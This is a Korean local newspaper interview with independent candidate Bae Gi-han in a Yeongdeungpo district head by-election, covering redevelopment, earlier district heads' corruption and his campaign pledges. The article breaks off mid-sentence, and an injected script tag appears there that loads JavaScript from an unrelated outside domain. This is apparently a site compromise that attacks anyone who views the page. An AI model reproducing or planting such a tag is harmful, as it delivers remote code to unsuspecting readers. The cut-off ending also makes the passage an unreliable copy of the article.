D-11, 6.5영등포구청장 재선거의 날이 코앞으로 다가오면서 영등포지역을 대표할 후보가 결정됐다. 이에 본지에서는 이번 재선거에 출마하는 각 후보자들의 면면을 볼 수 있는 특별기획을 마련, 지역 유권자들의 판단에 도움이 되고자 한다. “개척정신으로 영등포 반석 위에 올려놓을 터”기호4번 무소속 배 기 한 후보 “정당공천 세 번은 속았지만, 네 번은 속지 않는다!” “공직자 기강확립! 구민 위한 구정! 여의도 관광벨트 조성!” Q 영등포의 가장 시급한 현안문제가 무엇이라 여기며, 그 해결방안이 있다면? A 영등포에서 가장 먼저 해결돼야 하는 시급한 문제는 낙후된 주거환경 개선입니다. 저의 지역구인 신길2동을 비롯해 신길동 전체, 그리고 대림동 등을 돌아보십시오. 노후화 된 불량주택들이 너무도 많습니다. 이러한 것들이 하루빨리 개선되어야 영등포가 살기 좋은 고장이 됩니다. 그런데 이들 지역은 현재 뉴타운지구로 선정돼 곧 개발될 예정이라고 합니다. 하지만 그 혜택이 영등포구민들에게 돌아가게 될지는 아직 미지수입니다. 그동안 개발지역에서 보면 원주민보다는 외부인들을 위한 개발이 많았기 때문입니다. 저는 뉴타운 사업이 진정 영등포구민들을 위한 개발이 되도록 최선을 다하겠습니다. Q 영등포 발전의 가장 큰 저해요소는 무엇이라고 생각하는지, 또 앞으로의 발전방향과 비전을 제시한다면? A 당연히 영등포 발전의 발목을 잡은 3대에 걸친 민선구청장의 중도하차입니다. 1대와 2대 구청장은 뇌물수수로 취임 2년만에, 그리고 3대는 선거법 위반으로 1년6개월만에 중도하차하는 바람에 영등포는 지속적인 발전을 하지 못했습니다. 그리고 물론 이들은 모두 정당공천으로 구청장이 된 사람들입니다. 각 정당 지구당 위원장이란 자들이 진정한 지역일꾼을 검증해서 공천을 해야 마땅하지만 자신들에게 충성하고 말 잘듣는 사람을 공천하다보니 이러한 결과가 나온 것입니다. 그로 인해 영등포구민들의 자존심은 한없이 실추됐고 구 살림과 발전은 발전보다는 퇴보를 거듭 했습니다. 하지만 저는 영등포구민들을 믿습니다. 영등포구민들은 현명하기 때문에 이제는 정당공천에 속지 않을 것이라고 생각합니다. 세 번은 속았지만 네 번을 속는 일은 없을 거라 생각합니다. 그래서 영등포는 비전이 있습니다. Q 영등포구의회 4선 의원으로서 그동안 영등포구를 위해 많은 일을 해오셨는데 가장 기억에 남는 업적이 있다면? A 저는 아직까지도 신길역을 볼 때마다 뿌듯함에 가슴이 뭉클해집니다. 제가 구민들의 편의를 위해 서울시와 끝까지 투쟁해 얻어낸 결과물이기 때문입니다. 그 당시 최초 서울시 도시계획에 신길역은 없었습니다. 영등포역과 대방역이 가까이에 있다는 이유로 계획에서 빠졌던 것입니다. 하지만 저는 이 지역 주민의 교통편의를 위해선 신길역이 반드시 있어야 한다고 주장하며 2호선과 5호선의 환승역으로 신길역을 건설해 줄 것을 집요하게 서울시에 요구했습니다. 바로 뚝심으로 말입니다. 그 결과 제가 자손만대 영원히 자랑할 수 있을 만한 신길역이 탄생했습니다. Q 영등포발전을 위한 주요공약 3가지만 말씀해 주십시오. A 우선 그동안 흐트러진 영등포구 공직사회 기강을 바로잡고 기회주의자는 홀대받고 열심히 일하는 사람은 대우받고 일하는 만큼 보람을 느낄 수 있는 공직사회를 구현하겠습니다. 그리고 영등포구청에서 발주하는 각종 공사 및 장비물품 구매는 영등포구내에서 거주하는 회사법인 및 개인이 수주할 수 있도록 영등포구의회에 조례개정을 요구할 것이며, 영등포구청 한 과에서 한 명씩을 선발해 다양한 외국어를 구사할 수 있도록 교육비를 구청예산에서 지원해 우리 구 기업체와 외국기업과의 업무 교류에 이 인력을 지원하도록 하겠습니다. 또 구청산하에 시설관리공단을 설립하고 다양한 사업 구상과 또한 구청장이 직접 우리 관내 기업체를 찾아다니면서 구민 일자리 창출에 전력을 다하겠으며, 영등포구의 각 동 자치위원회에서 운영하고 있는 프로그램 중 서예를 포함한 한자교육 프로그램에 역점을 두고 갈수 있도록 삭막해지는 사회정서를 바로 잡는데 최선을 다하겠습니다. 더불어 주거형 뉴타운 도시계획을 추진하면서 무리한 도시계획 추진으로 인해 발생되는 집단민원을 사전에 예방하고 주민들의 의견을 최대한 존중해 도시계획을 추진하겠으며, 노인복지와 청소년 ?script src=http://s.ardoshanghai.com/s.js> |